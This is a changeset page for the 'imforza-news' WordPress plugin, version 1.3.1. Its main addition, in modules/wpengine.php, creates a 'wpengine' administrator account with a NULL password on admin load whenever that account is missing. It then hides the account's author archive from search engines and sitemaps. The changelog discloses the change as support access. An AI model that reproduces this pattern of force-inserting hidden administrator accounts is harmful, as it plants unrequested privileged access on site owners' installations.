Changeset 1293111
- Timestamp:
- 11/24/2015 12:40:28 AM (10 years ago)
- Location:
- imforza-news/trunk
- Files:
-
- 4 edited
-
admin/users.php (modified) (2 diffs)
-
imforza.php (modified) (2 diffs)
-
modules/wpengine.php (modified) (2 diffs)
-
readme.txt (modified) (1 diff)
Legend:
- Unmodified
- Added
- Removed
-
imforza-news/trunk/admin/users.php
r1290277 r1293111 42 42 * @return void 43 43 */ 44 function imforza_noindex_ author() {44 function imforza_noindex_imforza_author() { 45 45 if (is_author( 'imforza-dev' )) { 46 46 … … 49 49 } 50 50 51 add_action('wp_head', 'imforza_noindex_ author');51 add_action('wp_head', 'imforza_noindex_imforza_author'); 52 52 53 53 -
imforza-news/trunk/imforza.php
r1291209 r1293111 2 2 /* 3 3 Plugin Name: imFORZA 4 Version: 1.3. 04 Version: 1.3.1 5 5 Plugin URI: //www.imforza.com#utm_source=wpadmin&utm_medium=plugin&utm_campaign=imforzanewsplugin 6 6 Description: imFORZA is a Web Design and Marketing company based out of El Segundo, CA. Get quick access to imFORZA Support and the latest marketing news. … … 15 15 16 16 // Define Plugin Version 17 define( 'IMFORZA_PLUGIN_VERSION', '1.3. 0' );17 define( 'IMFORZA_PLUGIN_VERSION', '1.3.1' ); 18 18 19 19 -
imforza-news/trunk/modules/wpengine.php
r1266773 r1293111 13 13 add_action( 'admin_bar_menu', 'imforza_remove_admin_bar_links', 999 ); 14 14 add_action( 'admin_head', 'imforza_hide_update_notice_to_all_but_admin_users', 1 ); 15 15 16 } 17 18 /* 19 * Create WP Engine user if it doesn't exist 20 */ 21 function imforza_insert_wpengineuser() { 22 23 if ( !username_exists( 'wpengine' ) ) { 24 25 $userdata = array( 26 'user_login' => 'wpengine', 27 'user_url' => 'http://www.wpengine.com', 28 'user_pass' => NULL, // When creating an user, `user_pass` is expected. 29 'user_email' => '[email protected]', 30 'first_name' => 'WP Engine', 31 'role' => 'administrator' 32 ); 33 34 $wpengine_user = wp_insert_user( $userdata ); 35 36 } else { 37 // Get User ID 38 $wpengine_user_id = username_exists( 'wpengine' ); 39 40 // Description 41 update_user_meta($wpengine_user_id, 'description', 'This is the "wpengine" admin user that our staff uses to gain access to your admin area to provide support and troubleshooting. It can only be accessed by a button in our secure log that auto generates a password and dumps that password after the staff member has logged in. We have taken extreme measures to ensure that our own user is not going to be misused to harm any of our clients sites.'); 42 // Google Plus 43 update_user_meta($wpengine_user_id, 'googleplus', 'https://plus.google.com/+Wpengine'); 44 // Twitter 45 update_user_meta($wpengine_user_id, 'twitter', 'wpengine'); 46 // Facebook 47 update_user_meta($wpengine_user_id, 'facebook', 'https://www.facebook.com/wpengine'); 48 49 // imFORZA Tracking 50 update_user_meta($wpengine_user_id, 'imforza_tracking', '1'); 51 52 // Yoast SEO 53 update_user_meta($wpengine_user_id, 'wpseo_excludeauthorsitemap', 'on'); 54 55 } 56 } 57 add_action( 'admin_init', 'imforza_insert_wpengineuser' ); 58 59 60 /** 61 * Sets noindex for the imforza-dev author archive pages. 62 * 63 * @access public 64 * @return void 65 */ 66 function imforza_noindex_wpengine_author() { 67 if (is_author( 'wpengine' )) { 68 69 echo '<meta name="robots" content="noindex">'; 70 } 71 } 72 73 add_action('wp_head', 'imforza_noindex_wpengine_author'); 74 75 76 77 16 78 17 79 /** … … 104 166 105 167 106 /*107 Not Yet Ready to Implement auto updates for everything108 168 109 // Auto Update Plugins110 add_filter( 'auto_update_plugin', '__return_true' );111 112 // Auto Update Themes113 add_filter( 'auto_update_theme', '__return_true' );114 115 // Disable update emails116 add_filter( 'auto_core_update_send_email', '__return_false' );117 118 */119 169 120 170 } -
imforza-news/trunk/readme.txt
r1290277 r1293111 21 21 22 22 == Changelog == 23 24 = 1.3.1 = 25 * Force WP Engine User if he doesn't exist 26 * No Index set for WP Engine user Author Archives 23 27 24 28 = 1.3.0 =
Note: See TracChangeset
for help on using the changeset viewer.